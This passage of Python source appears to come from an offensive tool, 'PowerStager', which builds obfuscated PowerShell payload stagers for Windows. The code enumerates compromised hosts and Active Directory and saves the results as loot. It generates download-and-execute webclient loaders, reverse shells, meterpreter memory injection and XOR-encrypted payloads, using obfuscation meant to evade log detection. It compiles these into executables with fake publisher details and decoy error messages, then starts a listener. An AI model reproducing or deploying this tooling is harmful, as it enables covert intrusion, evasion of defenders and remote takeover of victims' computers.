(\033[96m{0:.2f}%\033[0m) \033[38;5;130m{3:s}\033[0m".format( (downloaded / length * 100), Print.size(downloaded), Print.size(length), Print.ETA(now, downloaded, length) ) + Print.wipe(), True)) # Prompt for integrity check sys.stdout.write("\b" * Print.status("Checking integrity..." + Print.wipe(), True)) # Check integrity if (self.framework.FileSum(file_path).lower() == hashlib.md5(open(file_name, "rb").read()).hexdigest().lower()): Print.success("Download completed" + Print.wipe()) else: Print.error("Integrity check failed" + Print.wipe()) # Show error if file is empty else: Print.error("The file is empty") # Show error if file doesn't exist on client else: Print.error("File does not exist") # Abort on ctrl+c except KeyboardInterrupt: Print.warning("Download aborted" + Print.wipe(64)) # Add big wipe to remove eventual "^C" # Remove local file if exists try: os.remove(file_name) except OSError: pass # Clear command buffer self.check_command("") # Send empty command to load buffer self.send_command("") def psh_Local_Enumerate_System(self): commands = [ { "name" : "enum.powershell.modules", "message" : "Enumerating powershell modules...", "command" : r"Get-Module -ListAvailable", }, { "name" : "enum.powershell.variables", "message" : "Enumerating powershell variables...", "command" : "Get-Variable |%{ \"Name : {0}`r`nValue: {1}`r`n\" -f $_.Name,$_.Value }", }, { "name" : "enum.computer.system", "message" : "Enumerating computer system...", "command" : r"Get-WmiObject -Class Win32_ComputerSystem|fl *", }, { "name" : "enum.bios.info", "message" : "Enumerating BIOS information...", "command" : r"Get-WmiObject -Class Win32_BIOS -ComputerName .|fl *", }, { "name" : "enum.operating.system", "message" : "Enumerating operating system...", "command" : r"Get-CimInstance Win32_OperatingSystem|fl *", }, { "name" : "enum.internet.explorer", "message" : "Enumerating Internet Explorer...", "command" : r"(Get-ItemProperty 'HKLM:\Software\Microsoft\Internet Explorer')", }, { "name" : "enum.devices", "message" : "Enumerating devices...", "command" : r"Get-PnpDevice|Select-Object Status,Class,FriendlyName,InstanceId|ft -Wrap", }, { "name" : "enum.disks", "message" : "Enumerating disks...", "command" : r"Get-WmiObject -Class Win32_LogicalDisk -ComputerName .|ft -Wrap", }, { "name" : "enum.service.status", "message" : "Enumerating service status...", "command" : r"Get-WmiObject -Class Win32_Service -ComputerName .| Select-Object -Property Status,Name,DisplayName|ft -Wrap", }, { "name" : "enum.installed.software", "message" : "Enumerating installed software...", "command" : r"Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|ft -Wrap", }, { "name" : "enum.installed.patches", "message" : "Enumerating installed patches...", "command" : r"Get-WmiObject -Class win32_quickfixengineering|fl *", }, { "name" : "enum.group.membership", "message" : "Enumerating group membership...", "command" : "([ADSI](\"WinNT://$($env:COMPUTERNAME)\")).children.where({$_.class -eq 'group'}) | Select @{n='Computername';e={$_.Parent.split('/')[-1] }}, @{n='Name';e={$_.name.value}}, @{n='Members';e={(([ADSI](\"$($_.Parent)/$($_.Name),group\")).psbase.Invoke('Members')|%{$_.GetType.Invoke().InvokeMember('Name','GetProperty',$null,$_,$null)})-join';'}}", }, { "name" : "enum.activedirectory.forest", "message" : "Enumerating Active Directory forest...", "command" : r"[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()", }, { "name" : "enum.activedirectory.domain", "message" : "Enumerating Active Directory domain...", "command" : r"[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()", }, { "name" : "enum.activedirectory.gc", "message" : "Enumerating Active Directory GCs...", "command" : r"[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs", }, { "name" : "enum.user.membership", "message" : "Enumerating user membership...", "command" : r"whoami /all", }, ] output = "" for i in range(len(commands)): Print.status(("(%d/%d) " % (i + 1, len(commands))) + commands[i]["message"]) self.send_command(commands[i]["command"]) output += commands[i]["name"] + "\n=======================================\n\n" output += (("\n".join(self.get_response().split("\n")[:-1])).strip()) output += commands[i]["name"] + "\n\n" file_name = "/tmp/" + Utility.dynamic_variable() with open(file_name, "w+") as _file: _file.write(output) Print.success("Loot saved at %s" % file_name) self.send_command("") # Wraps a pwoershell command in a hex decoder def powershell_encoding(payload): # Wrap payload in a hex decoder return powershell_obfuscation("(-[_OBF_JOIN_](('" + ("".join("{:02x}".format(ord(c)) for c in payload)) + "'-[_OBF_SPLIT_]'(?<=\G.{2})(?!$)')|%{[[_OBF_CONVERT_]]::[_OBF_TOINT16_](($_),16)-[_OBF_AS_][[_OBF_CHAR_]]}))|[_OBF_INVOKE_EXPRESSION_]") # Obfuscates powershell code in accordance with some standard rules def powershell_obfuscation(data): global obfuscation obfuscate = (Utility.get_configuration_value("obfuscation")) clone = data obfuscation_technique = Utility.enum( RANDOM_CASE = 0, STRING_SPLITING = 1, STRING_SPLITING_INVOKE = 2, STRING_SPLITING_AMP = 3, REORDERING = 4, REORDERING_INVOKE = 5, REORDERING_AMP = 6, COMMON_RELOCATION = 7, COMMON_RELOCATION_INVOKE = 8, COMMON_RELOCATION_AMP = 9, COMMAND_INVOKATION = 10, ) for key, value in obfuscation.items(): if (type(value) is dict): while clone.count(key) > 0: subject = list(value["text"]) subject = random.choice(value["text"]) if type(value["text"]) is list else value["text"] def technique(x): def randomize_case(subject): subject = list(subject) for i in range(len(subject)): if random.getrandbits(1): subject[i] = subject[i].upper() return "".join(subject) def string_spliting(subject): pieces = [] subject = technique([obfuscation_technique.RANDOM_CASE])(subject) while(len(subject) > 0): piece = subject[:random.randint(1, len(subject))] if piece[len(piece) - 1:len(piece)] != "`": subject = subject[len(piece):len(subject)] pieces.append(piece) return "('" + "'+'".join(pieces) + "')" def reordering(subject): pieces = [] indeces = [] subject = technique([obfuscation_technique.RANDOM_CASE])(subject) while(len(subject) > 0): piece = subject[:random.randint(1, len(subject))] if piece[len(piece) - 1:len(piece)] != "`": subject = subject[len(piece):len(subject)] pieces.append(piece) indeces = list(range(len(pieces))) random.shuffle(indeces) return "('" + "".join("{" + str(i) + "}" for i in indeces) + "'-f" + ",".join("'" + pieces[indeces.index(i)] + "'" for i in range(len(pieces))) + ")" def common_relocation(subject): subject = list(subject) uniq = list(set(subject)) random.shuffle(uniq) return "(('" + (" ".join([str(uniq.index(x)) for x in subject])) + "'-" + technique([obfuscation_technique.RANDOM_CASE])("replace") + "'\\w+','{${0}}'-" + technique([obfuscation_technique.RANDOM_CASE])("replace") + "' ','')-f" + (",".join(["'" + x + "'" for x in uniq])) + ")" def command_invokation(subject): # Generate Get-Command part gcm = random.choice([".", "&"]) + technique([ obfuscation_technique.STRING_SPLITING, obfuscation_technique.REORDERING, obfuscation_technique.COMMON_RELOCATION ])("gcm") # Obfuscate command name command_name = technique([ obfuscation_technique.STRING_SPLITING, obfuscation_technique.REORDERING, obfuscation_technique.COMMON_RELOCATION ])(subject) return random.choice([".", "&"]) + "(" + gcm + command_name + ")" return { # Randomize case obfuscation_technique.RANDOM_CASE : randomize_case, # String spliting obfuscation_technique.STRING_SPLITING : string_spliting, obfuscation_technique.STRING_SPLITING_INVOKE : lambda subject: technique([obfuscation_technique.STRING_SPLITING])(subject) + "." + technique([obfuscation_technique.RANDOM_CASE])("invoke"), obfuscation_technique.STRING_SPLITING_AMP : lambda subject: random.choice([".", "&"]) + technique([obfuscation_technique.STRING_SPLITING])(subject), # Reordering obfuscation_technique.REORDERING : reordering, obfuscation_technique.REORDERING_INVOKE : lambda subject: technique([obfuscation_technique.REORDERING])(subject) + "." + technique([obfuscation_technique.RANDOM_CASE])("invoke"), obfuscation_technique.REORDERING_AMP : lambda subject: random.choice([".", "&"]) + technique([obfuscation_technique.REORDERING])(subject), # Common relocation obfuscation_technique.COMMON_RELOCATION : common_relocation, obfuscation_technique.COMMON_RELOCATION_INVOKE : lambda subject: technique([obfuscation_technique.COMMON_RELOCATION])(subject) + "." + technique([obfuscation_technique.RANDOM_CASE])("invoke"), obfuscation_technique.COMMON_RELOCATION_AMP : lambda subject: random.choice([".", "&"]) + technique([obfuscation_technique.COMMON_RELOCATION])(subject), # Command invokation obfuscation_technique.COMMAND_INVOKATION : command_invokation, }[random.choice(x)] def f(x): return { # Command obfuscation obfuscation_type.COMMAND : lambda subject: technique([ obfuscation_technique.RANDOM_CASE, ] if (not obfuscate) else [ obfuscation_technique.STRING_SPLITING_AMP, obfuscation_technique.REORDERING_AMP, obfuscation_technique.COMMON_RELOCATION_AMP, obfuscation_technique.COMMAND_INVOKATION, ])(subject), # Argument obfuscation obfuscation_type.ARGUMENT : lambda subject: technique([ obfuscation_technique.RANDOM_CASE, ] if (not obfuscate) else [ obfuscation_technique.STRING_SPLITING, obfuscation_technique.REORDERING, obfuscation_technique.COMMON_RELOCATION, ])(subject), # Member obfuscation obfuscation_type.MEMBER : lambda subject: technique([ obfuscation_technique.RANDOM_CASE, ] if (not obfuscate) else [ obfuscation_technique.STRING_SPLITING_INVOKE, obfuscation_technique.REORDERING_INVOKE, obfuscation_technique.COMMON_RELOCATION_INVOKE, ])(subject), }.get(x, lambda subject: technique([obfuscation_technique.RANDOM_CASE])(subject)) # Apply obfuscation subject = f(value["type"])(subject) clone = Utility.replace_nth(clone, key, subject, 0) else: clone = clone.replace(key, value) return "".join(clone) # Generates main powershell block def generate_main(payload): global powershell_blocks # Encode payload payload = powershell_encoding(payload) main_block = powershell_obfuscation(powershell_blocks[powershell_block.MAIN]).replace( "[_PS_LOAD_]", payload ) return main_block # Generates EC (EncodedCommand) powershell block, with some extra obfuscation totally avoiding "-EC" # However, I have noticed the powershell engine still interpreting this as -EC... so not 100% stealthy def generate_encoded_command(load): global powershell_blocks c45 = random.randint(0, 45) c101 = random.randint(0, 101) c99 = random.randint(0, 99) return powershell_obfuscation(powershell_blocks[powershell_block.ENCODED_COMMAND]).replace( "[_PS_VAR_1_]", Utility.dynamic_variable() ).replace( "[_PS_VAR_2_]", Utility.dynamic_variable() ).replace( "[_PS_VAR_3_]", Utility.dynamic_variable() ).replace( "[_PS_VAR_4_]", Utility.dynamic_variable() ).replace( "[_PS_VAR_C45_A_]", str(c45) ).replace( "[_PS_VAR_C45_B_]", str(45 - c45) ).replace( "[_PS_VAR_C101_A_]", str(c101) ).replace( "[_PS_VAR_C101_B_]", str(101 - c101) ).replace( "[_PS_VAR_C99_A_]", str(c99) ).replace( "[_PS_VAR_C99_B_]", str(99 - c99) ).replace("[_PS_LOAD_]", load) # Generates base64 decoder powershell block # The idea is that this + EC will simulate an (IEX + webclient) call # without calling the IEX at all... so looking for IEX in the logs won't help you here def generate_base64_decoder(url): global powershell_blocks return generate_encoded_command( powershell_obfuscation(powershell_blocks[powershell_block.BASE64_DECODER]).replace( "[_PS_LOAD_]", generate_webclient("+".join("'" + x + "'" for x in url)) ) ) # Generates XOR decryptor powershell block # This is used for all payloads being temporary stored on disk def generate_xor_decryptor(url, key): global powershell_blocks return powershell_obfuscation(powershell_blocks[powershell_block.XOR_DECRYPTOR]).replace( "[_PS_LOAD_]", generate_webclient(url) ).replace( "[_PS_XOR_I_]", Utility.dynamic_variable() ).replace( "[_PS_XOR_KEY_]", key ).replace( "[_PS_XOR_KEY_SIZE_]", str(len(key)) ) # Generates webclient powershell block def generate_webclient(url): global powershell_blocks return powershell_obfuscation(powershell_blocks[powershell_block.WEB_CLIENT]).replace("[_URL_]", url) # Generates memory injection powershell block # Used for example with injection of a meterpreter stager into memory def generate_injection(payload, architecture): global powershell_blocks # Generate payload payload = ( powershell_obfuscation(powershell_blocks[powershell_block.MEMORY_INJECTION]).replace( "[_PS_MEMB_]", Utility.dynamic_variable() ).replace( "[_PS_VAR_PAYLOAD_]", Utility.dynamic_variable() ).replace( "[_PS_WF_]", Utility.dynamic_variable() ).replace( "[_PS_VAR_X_]", Utility.dynamic_variable() ).replace( "[_PS_VAR_I_]", Utility.dynamic_variable() ).replace( "[_PS_ARCHITECTURE_]", "64" if architecture == os_target.WIN64 else "32" ).replace( "[_PS_PAYLOAD_]", payload ) ) # Encode payload payload = powershell_encoding(payload) return payload # Generates reverse shell powershell block def generate_reverse_shell(lhost, lport): global powershell_blocks # Generate payload payload = ( powershell_obfuscation(powershell_blocks[powershell_block.REVERSE_SHELL]).replace( "[_PS_VAR_ASCII_]", Utility.dynamic_variable() ).replace( "[_PS_VAR_UNICODE_]", Utility.dynamic_variable() ).replace( "[_PS_VAR_CLIENT_]", Utility.dynamic_variable() ).replace( "[_PS_VAR_STREAM_]", Utility.dynamic_variable() ).replace( "[_PS_VAR_SEND_]", Utility.dynamic_variable() ).replace( "[_PS_VAR_BYTES_]", Utility.dynamic_variable() ).replace( "[_PS_VAR_I_]", Utility.dynamic_variable() ).replace( "[_LHOST_]", lhost ).replace( "[_LPORT_]", lport ) ) # Encode payload payload = powershell_encoding(payload) return payload # Generates injection payload powershell block # Generates injection payloads either from templates or from path def generate_injection_payload(): # Create an empty holder for an embedded payload payload_embedded = "" # Check what to generate if Utility.get_configuration_value(conf_name.PATH) != None: with open(Utility.get_configuration_value(conf_name.PATH), "r") as _file: payload_embedded = Utility.ps_base64encode(_file.read()) elif Utility.get_configuration_value(conf_name.METERPRETER): payload_embedded = Utility.ps_base64encode( generate_injection( Utility.replace_all( shellcodes[(shellcode.REVERSE_TCP_32 if Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN32 else shellcode.REVERSE_TCP_64)], ("[_LPORT_]", "[_LHOST_]"), Utility.local_address_to_binary_array_string(Utility.get_configuration_value(conf_name.LHOST), Utility.get_configuration_value(conf_name.LPORT)) ), Utility.get_configuration_value(conf_name.TARGET) ) ) elif Utility.get_configuration_value(conf_name.REVERSE_SHELL): payload_embedded = Utility.ps_base64encode( generate_reverse_shell(Utility.get_configuration_value(conf_name.LHOST), Utility.get_configuration_value(conf_name.LPORT)) ) if Utility.get_configuration_value(conf_name.GENERATE): with open(Utility.get_configuration_value(conf_name.OUTPUT), "w") as dump: dump.write(generate_encoded_command(payload_embedded)) Print.add_name_value("File signature", hashlib.md5(open(Utility.get_configuration_value(conf_name.OUTPUT), "rb").read()).hexdigest(), Print.info) Print.success("Payload generated : " + Utility.get_configuration_value(conf_name.OUTPUT)) sys.exit() return payload_embedded # Generates source def generate_source(): global c_source, c_source_embedded, c_source_mb if Utility.get_configuration_value(conf_name.URL) != None: val_key = [] val_str = [ ord(x) for x in generate_main( generate_encoded_command( Utility.ps_base64encode( generate_base64_decoder(Utility.get_configuration_value(conf_name.URL)) ) ) ) ] for i in range(len(val_str)): val_key.append(random.randint(0, 255)) val_str[i] = val_str[i] ^ val_key[i] Print.add_name_value("Payload size", str(len(val_str)) + " bytes", Print.info) return c_source.replace( "[_VAR_STR_]", Utility.dynamic_variable() ).replace( "[_VAL_STR_]", ",".join(str(x) for x in val_str) + ",0" # append \0 for zero termination (0 xor 0 equals 0) ).replace( "[_VAR_KEY_]", Utility.dynamic_variable() ).replace( "[_VAL_KEY_]", ",".join(str(x) for x in val_key) + ",0" # append \0 for zero termination (0 xor 0 equals 0) ).replace( "[_VAR_X_]", Utility.dynamic_variable() ).replace( "[_VAR_SI_]", Utility.dynamic_variable() ).replace( "[_VAR_PI_]", Utility.dynamic_variable() ).replace( "[_MB_]", c_source_mb.replace( "[_VAL_MB_TITLE_]", Utility.get_configuration_value(conf_name.FAKE_ERROR)[0] ).replace( "[_VAL_MB_CONTENT_]", Utility.get_configuration_value(conf_name.FAKE_ERROR)[1] ) if (Utility.get_configuration_value(conf_name.FAKE_ERROR) != None) else "return 0;" ) else: # Generate a temporary file name for later use remote_tmp_file = Utility.dynamic_variable() encryption_key = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(random.randint(24, 48))) Print.add_name_value("Temp file", remote_tmp_file, Print.info) Print.add_name_value("Encryption key", encryption_key, Print.info) val_key = [] val_str = [ ord(x) for x in generate_main( generate_encoded_command( Utility.ps_base64encode( generate_encoded_command( generate_xor_decryptor( "$env:temp+'\\" + remote_tmp_file + "'", encryption_key ) # Remove temp file (note no plus-sign after temp) + (";Remove-Item $env:temp'\\" + remote_tmp_file + "'") ) ) ) ) ] val_key_emb = [] val_str_emb = [ord(x) for x in generate_injection_payload()] for i in range(len(val_str)): val_key.append(random.randint(0, 255)) val_str[i] = val_str[i] ^ val_key[i] # Initial encryption with generated key for i in range(len(val_str_emb)): val_str_emb[i] = val_str_emb[i] ^ ord(encryption_key[i % len(encryption_key)]) # Second encryption with stored key for i in range(len(val_str_emb)): val_key_emb.append(random.randint(0, 255)) val_str_emb[i] = val_str_emb[i] ^ val_key_emb[i] Print.add_name_value("Payload size", str(len(val_str)) + " bytes", Print.info) Print.add_name_value("Embedded size", str(len(val_str_emb)) + " bytes", Print.info) return c_source_embedded.replace( "[_VAR_PATH_]", Utility.dynamic_variable() ).replace( "[_VAR_TEMP_]", Utility.dynamic_variable() ).replace( "[_TMP_FILENAME_]", remote_tmp_file ).replace( "[_VAR_FILE_]", Utility.dynamic_variable() ).replace( "[_VAR_STR_STG_]", Utility.dynamic_variable() ).replace( "[_VAL_STR_STG_]", ",".join(str(x) for x in val_str) + ",0" # append \0 for zero termination (0 xor 0 equals 0) when using strings ONLY ).replace( "[_VAR_KEY_STG_]", Utility.dynamic_variable() ).replace( "[_VAL_KEY_STG_]", ",".join(str(x) for x in val_key) + ",0" # append \0 for zero termination (0 xor 0 equals 0) when using strings ONLY ).replace( "[_VAR_STR_EMB_]", Utility.dynamic_variable() ).replace( "[_VAL_STR_EMB_]", ",".join(str(x) for x in val_str_emb) ).replace( "[_VAR_KEY_EMB_]", Utility.dynamic_variable() ).replace( "[_VAL_KEY_EMB_]", ",".join(str(x) for x in val_key_emb) ).replace( "[_VAR_X_]", Utility.dynamic_variable() ).replace( "[_VAR_SI_]", Utility.dynamic_variable() ).replace( "[_VAR_PI_]", Utility.dynamic_variable() ).replace( "[_MB_]", c_source_mb.replace( "[_VAL_MB_TITLE_]", Utility.get_configuration_value(conf_name.FAKE_ERROR)[0] ).replace( "[_VAL_MB_CONTENT_]", Utility.get_configuration_value(conf_name.FAKE_ERROR)[1] ) if (Utility.get_configuration_value(conf_name.FAKE_ERROR) != None) else "return 0;" ) # Compiler for c-source def compile_source(): # Get output path output = Utility.get_configuration_value(conf_name.OUTPUT) # Define temporary file names temp_name_sourcecode = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) + ".c" temp_name_manifest = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) + ".manifest" temp_name_rc = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) + ".rc" temp_name_o = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) + ".o" # TODO :: Add option to specify this later # Gather resource information rc_icon = ("icon ICON \"" + os.path.abspath(Utility.get_configuration_value(conf_name.ICON)) + "\"") if ( Utility.get_configuration_value(conf_name.ICON) != None and os.path.isfile(Utility.get_configuration_value(conf_name.ICON)) ) else "" rc_elevation = windres_manifest_elevation if ( Utility.get_configuration_value(conf_name.ELEVATION) ) else "" rc_architecture = "X86" if Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN32 else "amd64" rc_company_name = names.get_last_name() + " INC." rc_description = "Lorem ipsum dolor sit amet, consecteteur adipiscing elit." rc_internal_name = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) rc_legal_name = names.get_full_name() rc_original_filename = output.split("/")[-1:][0] rc_product_name = rc_internal_name source_content = generate_source() manifest_content = windres_manifest.replace( "[_RC_ARCHITECTURE_]" , rc_architecture ).replace( "[_RC_APPLICATION_NAME_]" , rc_internal_name ).replace( "[_RC_ELEVATION_]" , rc_elevation ) resource_content = windres_resource.replace( "[_RC_ICON_]" , rc_icon ).replace( "[_RC_MANIFEST_FILE_]" , temp_name_manifest ).replace( "[_RC_COMPANY_NAME_]" , rc_company_name ).replace( "[_RC_DESCRIPTION_]" , rc_description ).replace( "[_RC_INTERNAL_NAME_]" , rc_internal_name ).replace( "[_RC_LEGAL_NAME_]" , rc_legal_name ).replace( "[_RC_OUTPUT_NAME_]" , rc_original_filename ).replace( "[_RC_APPLICATION_NAME_]" , rc_product_name ) if Utility.get_configuration_value(conf_name.SOURCE_ONLY): print(source_content) sys.exit() else: # Create sourcecode file with open(temp_name_sourcecode, "w") as _file: _file.write(source_content) # Create manifest file with open(temp_name_manifest, "w") as _file: _file.write(manifest_content) # Create resource file with open(temp_name_rc, "w") as _file: _file.write(resource_content) if ( Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN32 and (os.system("i686-w64-mingw32-windres -i " + temp_name_rc + " -o " + temp_name_o + " && i686-w64-mingw32-gcc -mwindows -o " + output + " " + temp_name_sourcecode + " " + temp_name_o) == 0) ) or ( Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN64 and (os.system("x86_64-w64-mingw32-windres -i " + temp_name_rc + " -o " + temp_name_o + " && x86_64-w64-mingw32-gcc -mwindows -o " + output + " " + temp_name_sourcecode + " " + temp_name_o) == 0) ): Print.add_name_value("File signature", hashlib.md5(open(output, "rb").read()).hexdigest(), Print.info) Print.add_name_value("Payload generated", output, Print.success) else: Print.add_name_value("Failed to generate", output, Print.error) # Clean up from temporary files os.system("/bin/rm -f " + temp_name_sourcecode) os.system("/bin/rm -f " + temp_name_manifest) os.system("/bin/rm -f " + temp_name_rc) os.system("/bin/rm -f " + temp_name_o) # Print program header in terminal def print_header(): Print.text("\033[38;5;160m" + r" ___ __ _ " + "\033[0m") Print.text("\033[38;5;161m" + r" / _ \_____ _____ _ __/ _\ |_ __ _ __ _ ___ _ __ " + "\033[0m") Print.text("\033[38;5;162m" + r" / /_)/ _ \ \ /\ / / _ \ '__\ \| __/ _` |/ _` |/ _ \ '__|" + "\033[0m") Print.text("\033[38;5;163m" + r"/ ___/ (_) \ V V / __/ | _\ \ || (_| | (_| | __/ | " + "\033[0m") Print.text("\033[38;5;164m" + r"\/ \___/ \_/\_/ \___|_| \__/\__\__,_|\__, |\___|_| " + "\033[0m") Print.text("\033[38;5;130m" + r" _ __ _ _ " + "\033[38;5;164m|___/\033[38;5;130m " + "\033[0m") Print.text("\033[38;5;131m" + r" | '_ \| | | | " + "\033[0m") Print.text("\033[38;5;132m" + r" _| |_) | |_| | A payload stager using PowerShell " + "\033[0m") Print.text("\033[38;5;133m" + r"(_) .__/ \__, | Created by z0noxz " + "\033[0m") Print.text("\033[38;5;134m" + r" |_| |___/ " + "\033[0m") def main(argv): global help_notes # Create shortcut for get_configuration_value GET = lambda x: Utility.get_configuration_value(x) # Define default configuration local_configuration = { conf_name.URL : None, conf_name.PATH : None, conf_name.OUTPUT : None, conf_name.TARGET : None, conf_name.LHOST : None, conf_name.LPORT : None, conf_name.FAKE_ERROR : None, conf_name.ICON : None, conf_name.OBFUSCATION : False, conf_name.REVERSE_SHELL : False, conf_name.METERPRETER : False, conf_name.LISTENER : False, conf_name.GENERATE : False, conf_name.SOURCE_ONLY : False, conf_name.ELEVATION : False, } print_header() Print.text() # Replace placeholders in help notes help_notes = help_notes.replace("[_CHECK_i686_]", "\033[92mpresent\033[0m" if Utility.which("i686-w64-mingw32-gcc") else "\033[91mmissing\033[0m") help_notes = help_notes.replace("[_CHECK_x86_64_]", "\033[92mpresent\033[0m" if Utility.which("x86_64-w64-mingw32-gcc") else "\033[91mmissing\033[0m") help_notes = help_notes.replace("[_CHECK_i686_WINDRES_]", "\033[92mpresent\033[0m" if Utility.which("i686-w64-mingw32-windres") else "\033[91mmissing\033[0m") help_notes = help_notes.replace("[_CHECK_x86_64_WINDRES_]", "\033[92mpresent\033[0m" if Utility.which("x86_64-w64-mingw32-windres") else "\033[91mmissing\033[0m") # Fix for dynamic flag/value argument for i, opt in enumerate(argv): if opt == "--fake-error": argv[i] = "--fake-error=" # Read configuration from arguments try: opts, args = getopt.getopt( argv, "hu:p:mro:t:eg", [ "help", "url=", "path=", "meterpreter", "reverse-shell", "output=", "target=", "lhost=", "lport=", "use-elevation", "listener", "generate", "fake-error=", "source-only", "obfuscation", "icon=", ] ) except getopt.GetoptError as e: print(help_notes) Print.error(str(e)) sys.exit(2) for opt, arg in opts: if opt in ("-h", "--help"): print(help_notes) sys.exit() elif opt in ("-u", "--url"): local_configuration[conf_name.URL] = arg if Utility.is_url(arg) else None elif opt in ("-p", "--path"): local_configuration[conf_name.PATH] = arg if os.path.isfile(arg) else None elif opt in ("-m", "--meterpreter"): local_configuration[conf_name.METERPRETER] = True elif opt in ("-r", "--reverse-shell"): local_configuration[conf_name.REVERSE_SHELL] = True elif opt in ("-o", "--output"): local_configuration[conf_name.OUTPUT] = arg elif opt in ("-t", "--target"): local_configuration[conf_name.TARGET] = { "win32" : os_target.WIN32, "win64" : os_target.WIN64, }.get(arg.lower(), None) elif opt in ("--lhost"): local_configuration[conf_name.LHOST] = arg if Utility.is_ipv4_address(arg) else None elif opt in ("--lport"): local_configuration[conf_name.LPORT] = arg if (arg.isdigit() and int(arg) >= 1 and int(arg) <= 65535) else None elif opt in ("-e", "--use-elevation"): local_configuration[conf_name.ELEVATION] = True elif opt in ("--listener"): local_configuration[conf_name.LISTENER] = True elif opt in ("-g", "--generate"): local_configuration[conf_name.GENERATE] = True elif opt in ("--fake-error"): local_configuration[conf_name.FAKE_ERROR] = ( [arg.split("::")[0], "::".join(arg.split("::")[1:])] if ( len(arg.split("::")) >= 2 ) else ["Application compatibility error", "The version of this file is not compatible with the version of Windows you're running. Check your computer's system information to see whether you need an x86 (32-bit) or x64 (64-bit) version of the program, and then contact he software publisher."]) elif opt in ("--source-only"): local_configuration[conf_name.SOURCE_ONLY] = True elif opt in ("--obfuscation"): local_configuration[conf_name.OBFUSCATION] = True elif opt in ("--icon"): local_configuration[conf_name.ICON] = arg # Load configuration Utility.load_configuration(local_configuration) # Check if mingw32 GCC exists if (not Utility.which("i686-w64-mingw32-gcc")) or (not Utility.which("x86_64-w64-mingw32-gcc")): Print.error("mingw GCC does not seem to be installed on your system") sys.exit(2) # Check if mingw32 Windres exists if (not Utility.which("i686-w64-mingw32-windres")) or (not Utility.which("x86_64-w64-mingw32-windres")): Print.error("mingw WINDRES does not seem to be installed on your system") sys.exit(2) # Check if listener option is selected if GET(conf_name.LISTENER): if GET(conf_name.LPORT) != None: Print.add_name_value("Listener", "Listener will open automatically", Print.info) else: Print.error("LPORT must be specified when creating a listener") sys.exit(2) # Check if no method is selected if ( [ GET(conf_name.URL) != None, GET(conf_name.PATH) != None, GET(conf_name.METERPRETER), GET(conf_name.REVERSE_SHELL), # Include listener in this check GET(conf_name.LISTENER), ].count(True) == 0 ): Print.error("A method parameter is missing, or malformed. Choose one of:") Print.text(" --" + "\n --".join(["url", "path", "meterpreter", "reverse-shell"])) sys.exit(2) # Check if more than one method is selected elif ( [ GET(conf_name.URL) != None, GET(conf_name.PATH) != None, GET(conf_name.METERPRETER), GET(conf_name.REVERSE_SHELL), ].count(True) > 1 ): Print.error("Only one method parameter is allowed") sys.exit(2) # Check if a method is selected elif ( [ GET(conf_name.URL) != None, GET(conf_name.PATH) != None, GET(conf_name.METERPRETER), GET(conf_name.REVERSE_SHELL), ].count(True) == 1 ): # Check if target is missong if GET(conf_name.TARGET) == None: Print.error("--target must be either win32 or win64") sys.exit(2) else: Print.add_name_value("Target", ("WIN32" if GET(conf_name.TARGET) == os_target.WIN32 else "WIN64").lower(), Print.info) # Check if output is missing if GET(conf_name.OUTPUT) == None: Print.error("'output' parameter is missing, or empty") sys.exit(2) else: Print.add_name_value("Output", GET(conf_name.OUTPUT), Print.info) # Check if elevation is selected if (GET(conf_name.ELEVATION)): Print.add_name_value("Invoke with elevation", "Yes", Print.info) # Check if URL method is selected if GET(conf_name.URL) != None: Print.add_name_value("URL", GET(conf_name.URL), Print.info) # Check if PATH method is selected elif GET(conf_name.PATH) != None: Print.add_name_value("PATH", GET(conf_name.PATH), Print.info) # Check if METERPRETER method is selected elif GET(conf_name.METERPRETER): if GET(conf_name.LHOST) != None and GET(conf_name.LPORT) != None: Print.add_name_value("Meterpreter listener", GET(conf_name.LHOST) + ":" + GET(conf_name.LPORT), Print.info) else: Print.error("LHOST and LPORT must be specified when generating a meterpreter payload") sys.exit(2) # Check if REVERSE_SHELL method is selected elif GET(conf_name.REVERSE_SHELL): if GET(conf_name.LHOST) != None and GET(conf_name.LPORT) != None: Print.add_name_value("Reverse shell listener", GET(conf_name.LHOST) + ":" + GET(conf_name.LPORT), Print.info) else: Print.error("LHOST and LPORT must be specified when generating a reverse shell payload") sys.exit(2) # Print working status sys.stdout.write("\b" * (Print.text("Working...", True) + 2)) # Compile source compile_source() # Print buffered output after success Print.name_value_print() # Invoke listener if GET(conf_name.LISTENER) and GET(conf_name.LPORT): Listener("0.0.0.0", int(GET(conf_name.LPORT))).start() # Prevent ctrl+Z from exiting signal.signal(signal.SIGTSTP, (lambda *a: Print.text(Print.wipe(back=True), True))) if __name__ == "__main__": main(sys.argv[1:])